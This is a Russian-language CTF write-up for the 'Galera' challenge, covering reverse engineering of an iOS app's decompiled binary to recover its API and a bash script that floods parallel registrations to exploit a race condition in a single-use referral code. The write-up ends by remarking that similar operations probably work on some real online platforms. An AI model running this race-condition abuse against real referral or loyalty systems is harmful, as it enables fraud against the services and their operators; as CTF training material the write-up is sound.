CTF - Галера - Tinkoff 2024

Ссылка на задачу
Галера

Описание
Аутстафф-компания заманила разработчиков интересными задачами, а потом заперла их на настоящей галере, приковала к вёслам и отправила в плавание.
Освободите команду.

Приложение программы корпоративной лояльности: Galera_be1756d.ipa

Приложение
galera.zip

Файл Galera_be1756d.ipa на самом деле является архивом

sh

[amyasnikov@ubuntu:~]$ file Galera_be1756d.ipa
Galera_be1756d.ipa: Zip archive data, at least v1.0 to extract, compression method=store

Извлекаем все файлы

sh

[amyasnikov@ubuntu:~]$ unzip Galera_be1756d.ipa
Archive:  Galera_be1756d.ipa
   creating: Payload/
   creating: Payload/Galera.app/
  inflating: Payload/Galera.app/Galera
   creating: Payload/Galera.app/Base.lproj/
   creating: Payload/Galera.app/Base.lproj/LaunchScreen.storyboardc/
  inflating: Payload/Galera.app/Base.lproj/LaunchScreen.storyboardc/01J-lp-oVM-view-Ze5-6b-2t3.nib
  inflating: Payload/Galera.app/Base.lproj/LaunchScreen.storyboardc/UIViewController-01J-lp-oVM.nib
  inflating: Payload/Galera.app/Base.lproj/LaunchScreen.storyboardc/Info.plist
   creating: Payload/Galera.app/Base.lproj/Main.storyboardc/
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/BYZ-38-t0r-view-8bC-Xf-vdC.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/OS8-at-wSr-view-h4b-SP-lrB.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/UIViewController-qFL-ON-XXG.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/MainNavigationViewController.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/XJe-B7-Q8x-view-zsP-ba-LeN.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/UIViewController-wnA-UJ-Lzf.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/jey-NU-HkL-view-aGf-ia-qEJ.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/afu-Ef-8r8-view-Isf-IX-avJ.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/qFL-ON-XXG-view-351-VT-mQx.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/UIViewController-jey-NU-HkL.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/Info.plist
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/UIViewController-OS8-at-wSr.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/wnA-UJ-Lzf-view-FfP-lE-HrX.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/WelcomeNavigationController.nib
  inflating: Payload/Galera.app/Base.lproj/Main.storyboardc/LoginViewControllerID.nib
   creating: Payload/Galera.app/_CodeSignature/
  inflating: Payload/Galera.app/_CodeSignature/CodeResources
  inflating: Payload/Galera.app/ScheduleTableViewCell.nib
  inflating: Payload/Galera.app/Info.plist
 extracting: Payload/Galera.app/PkgInfo
  inflating: Payload/Galera.app/embedded.mobileprovision

В архиве есть бинарный исполняемый файл Galera

sh

[amyasnikov@ubuntu:~]$ file Payload/Galera.app/Galera
Payload/Galera.app/Galera: Mach-O 64-bit executable arm64

Больше в архиве ничего интересного нет

Воспользуемся онлайн декомпилятором dogbolt.org
Загружаем файл Galera, выбираем декомпилятор Hex-Rays. У других декомпиляторов результаты сильно хуже для этого файла

В выводе всего 3433 строк C-кода
В этом коде можно заметить обработку http запросов. Видны эндпоинты, методы, параметры запросов, ответов

Пример подобной функции

CreateAccounViewController.c

//----- (00000001000063C0) ----------------------------------------------------
void __cdecl -[CreateAccounViewController createAccountClicked:](CreateAccounViewController *self, SEL a2, id a3)
{
  UITextField *v4; // x20
  UITextField *v5; // x21
  UITextField *v6; // x23
  NSString *v7; // x21
  NSUserDefaults *v8; // x25
  const char *v9; // x24
  NSString *v10; // x26
  NSString *v11; // x23
  NSString *v12; // x27
  NSString *v13; // x26
  NSURL *v14; // x24
  NSMutableURLRequest *v15; // x25
  NSString *v16; // x26
  NSString *v17; // x26
  NSString *v18; // x27
  id v19; // x26
  NSString *v20; // x19
  NSString *v21; // x27
  NSString *v22; // x27
  NSString *v23; // x19
  NSString *v24; // x27
  NSString *v25; // x19
  NSData *v26; // x27
  id v27; // x28
  NSURLSession *v28; // x19
  NSURLSessionDataTask *v29; // x22
  NSString *v30; // [xsp+10h] [xbp-90h]
  NSString *v31; // [xsp+18h] [xbp-88h]
  __int64 v32[5]; // [xsp+20h] [xbp-80h] BYREF
  id v33; // [xsp+48h] [xbp-58h] BYREF

  v4 = objc_retainAutoreleasedReturnValue(-[CreateAccounViewController usernameField](self, "usernameField", a3));
  v31 = objc_retainAutoreleasedReturnValue(-[UITextField text](v4, "text"));
  objc_release(v4);
  v5 = objc_retainAutoreleasedReturnValue(-[CreateAccounViewController passwordField](self, "passwordField"));
  v30 = objc_retainAutoreleasedReturnValue(-[UITextField text](v5, "text"));
  objc_release(v5);
  v6 = objc_retainAutoreleasedReturnValue(-[CreateAccounViewController refcodeField](self, "refcodeField"));
  v7 = objc_retainAutoreleasedReturnValue(-[UITextField text](v6, "text"));
  objc_release(v6);
  v8 = objc_retainAutoreleasedReturnValue(+[NSUserDefaults standardUserDefaults](&OBJC_CLASS___NSUserDefaults, "standardUserDefaults"));
  v9 = "https://t-galera-u12p5koe.spbctf.net";
  v10 = objc_retainAutoreleasedReturnValue(
          +[NSString stringWithCString:](
            &OBJC_CLASS___NSString,
            "stringWithCString:",
            "https://t-galera-u12p5koe.spbctf.net"));
  v11 = objc_retainAutoreleasedReturnValue(-[NSUserDefaults stringForKey:](v8, "stringForKey:", v10));
  objc_release(v10);
  objc_release(v8);
  if ( v11 )
    v9 = -[NSString cString](objc_retainAutorelease(v11), "cString");
  v12 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "%s/%s"));
  v13 = objc_retainAutoreleasedReturnValue(+[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", v12, v9, "create"));
  v14 = objc_retainAutoreleasedReturnValue(+[NSURL URLWithString:](&OBJC_CLASS___NSURL, "URLWithString:", v13));
  objc_release(v13);
  objc_release(v12);
  v15 = objc_retainAutoreleasedReturnValue(+[NSMutableURLRequest requestWithURL:](&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:", v14));
  v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "POST"));
  -[NSMutableURLRequest setHTTPMethod:](v15, "setHTTPMethod:", v16);
  objc_release(v16);
  v17 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "application/json"));
  v18 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "Content-Type"));
  -[NSMutableURLRequest setValue:forHTTPHeaderField:](v15, "setValue:forHTTPHeaderField:", v17, v18);
  objc_release(v18);
  objc_release(v17);
  v19 = objc_alloc_init((Class)&OBJC_CLASS___NSMutableDictionary);
  v20 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "%s"));
  v21 = objc_retainAutoreleasedReturnValue(+[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", v20, "username"));
  objc_msgSend(v19, "setObject:forKey:", v31, v21);
  objc_release(v21);
  objc_release(v20);
  v22 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "%s"));
  v23 = objc_retainAutoreleasedReturnValue(+[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", v22, "password"));
  objc_msgSend(v19, "setObject:forKey:", v30, v23);
  objc_release(v23);
  objc_release(v22);
  if ( -[NSString length](v7, "length") )
  {
    v24 = objc_retainAutoreleasedReturnValue(+[NSString stringWithCString:](&OBJC_CLASS___NSString, "stringWithCString:", "%s"));
    v25 = objc_retainAutoreleasedReturnValue(+[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", v24, "ref_code"));
    objc_msgSend(v19, "setObject:forKey:", v7, v25);
    objc_release(v25);
    objc_release(v24);
  }
  v33 = 0LL;
  v26 = objc_retainAutoreleasedReturnValue(
          +[NSJSONSerialization dataWithJSONObject:options:error:](
            &OBJC_CLASS___NSJSONSerialization,
            "dataWithJSONObject:options:error:",
            v19,
            0LL,
            &v33));
  v27 = objc_retain(v33);
  if ( v26 )
  {
    -[NSMutableURLRequest setHTTPBody:](v15, "setHTTPBody:", v26);
    v28 = objc_retainAutoreleasedReturnValue(+[NSURLSession sharedSession](&OBJC_CLASS___NSURLSession, "sharedSession"));
    v32[0] = (__int64)_NSConcreteStackBlock;
    v32[1] = 3254779904LL;
    v32[2] = (__int64)sub_10000685C;
    v32[3] = (__int64)&unk_100010158;
    v32[4] = (__int64)self;
    v29 = objc_retainAutoreleasedReturnValue(
            -[NSURLSession dataTaskWithRequest:completionHandler:](
              v28,
              "dataTaskWithRequest:completionHandler:",
              v15,
              v32));
    -[NSURLSessionDataTask resume](v29, "resume");
    objc_release(v29);
    objc_release(v28);
  }
  objc_release(v26);
  objc_release(v27);
  objc_release(v19);
  objc_release(v15);
  objc_release(v14);
  objc_release(v11);
  objc_release(v7);
  objc_release(v30);
  objc_release(v31);
}

На основе C-кода и экспериментально можно восстановить все эндпоинты и понять как ими пользоваться

Создание пользователя. Указываем имя пользователя, пароль и опционально код.

bash

[amyasnikov@ubuntu:~]$ curl -X POST https://t-galera-u12p5koe.spbctf.net/create \
  -H 'Content-Type: application/json' \
  --data '{"username": "<username>", "password": "<password>", "ref_code": "<ref_code>" }'

User created

Аутентификация. В ответе содержится токен

bash

[amyasnikov@ubuntu:~]$ curl -s -X POST "https://t-galera-u12p5koe.spbctf.net/enter" \
  -H "Content-Type: application/json" \
  --data '{"username": "user_1001", "password": "user_1001"}'

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjM2ODAwMywidXNlcm5hbWUiOiJ1c2VyXzEwMDEiLCJleHAiOjE3MTM5OTI1OTV9.TNVl9ZkE_DLEpf92GcNO8xJFLE7f8L_eW1ie7ebc6sw

Создание реферального кода

bash

[amyasnikov@ubuntu:~]$ curl -s "https://t-galera-u12p5koe.spbctf.net/ref" \
  -H "Authorization: $TOKEN"

GALERA-12556ce0

Получение информации о пользователе

bash

[amyasnikov@ubuntu:~]$ curl -s "https://t-galera-u12p5koe.spbctf.net/profile" \
  -H "Authorization: $TOKEN" | jq

{
  "username": "user_1001",
  "points": 1,
  "position": "Junior Developer",
  "purchases": [
    {
      "time": "2024-04-22T21:12:07.568817Z",
      "description": "Симпатичная ручка с логотипом компании",
      "price": 15
    }
  ]
}

Список вещей, на которые можно потратить баллы

bash

[amyasnikov@ubuntu:~]$ curl -s "https://t-galera-u12p5koe.spbctf.net/items" | jq

[
  {
    "id": 1,
    "price": 15,
    "name": "Ручка",
    "description": "Симпатичная ручка с логотипом компании"
  },
  {
    "id": 2,
    "price": 30,
    "name": "Перерыв на кофе",
    "description": "Бесплатный перерыв на кофе в пятницу"
  },
  {
    "id": 1337,
    "price": 1337,
    "name": "Свобода",
    "description": "Избавление от оков рабства"
  }
]

Покупка какой либо вещи из списка

bash

[amyasnikov@ubuntu:~]$ curl -s "https://t-galera-u12p5koe.spbctf.net/buy?id=1" \
  -H "Authorization: $TOKEN"

Покупка успешна

Чтобы получить флаг нужно купить свободу за 1337 баллов
Баллы дают за регистрацию с реферальным кодом, 100 баллов за пользователя
Реферальный код можно создать и использовать только один раз

Создадим одного пользователя без кода
Создадим реферальный код
Параллельно будем создавать много пользователй с этим кодом в надежде, что сервер не успеет обнулить действие кода

Напишем простой bash скрипт, который через curl вызывает нужные эндпоинты

Полный код скрипта

solve.sh

#!/bin/bash

user0=user_$(date +%s)

curl -X POST "https://t-galera-u12p5koe.spbctf.net/create" \
  -H "Content-Type: application/json" \
	--data '{"username": "'$user0'", "password": "'$user0'"}'
echo

token0=$(
	curl -s -X POST "https://t-galera-u12p5koe.spbctf.net/enter" \
    -H "Content-Type: application/json" \
		--data '{"username": "'$user0'", "password": "'$user0'"}'
)

code=$(curl -s "https://t-galera-u12p5koe.spbctf.net/ref" -H "Authorization: $token0")

for ((i = 1; i <= 30; i++)); do
  user=user_$(date +%s)_$i

  curl -X POST "https://t-galera-u12p5koe.spbctf.net/create" \
    -H "Content-Type: application/json" \
    --data '{"username": "'$user'", "password": "'$user'", "ref_code": "'$code'" }' &>/dev/null &
done

sleep 5
curl -s "https://t-galera-u12p5koe.spbctf.net/buy?id=1337" -H "Authorization: $token0"
echo
curl -s "https://t-galera-u12p5koe.spbctf.net/profile" -H "Authorization: $token0" | jq

Запускаем написанную на bash программу

bash

[amyasnikov@ubuntu:~]$ bash ./script.sh
User created
Покупка успешна
{
  "username": "user_1713821702",
  "points": 1179,
  "position": "Senior Developer",
  "purchases": [
    {
      "time": "2024-04-22T21:35:10.726617Z",
      "description": "Избавление от оков рабства tctf{1O5_4RM_r3VERSe_Race_aNd_W1N}",
      "price": 1337
    }
  ]
}

С помощью одноразового кода зарегистрировали 25 пользователей и получили +2500 баллов
А это почти в два раза больше чем необходимо

Получили флаг tctf{1O5_4RM_r3VERSe_Race_aNd_W1N}

  • Скорее всего, подобные операции можно выполнить на некоторых онлайн платформах

Похожее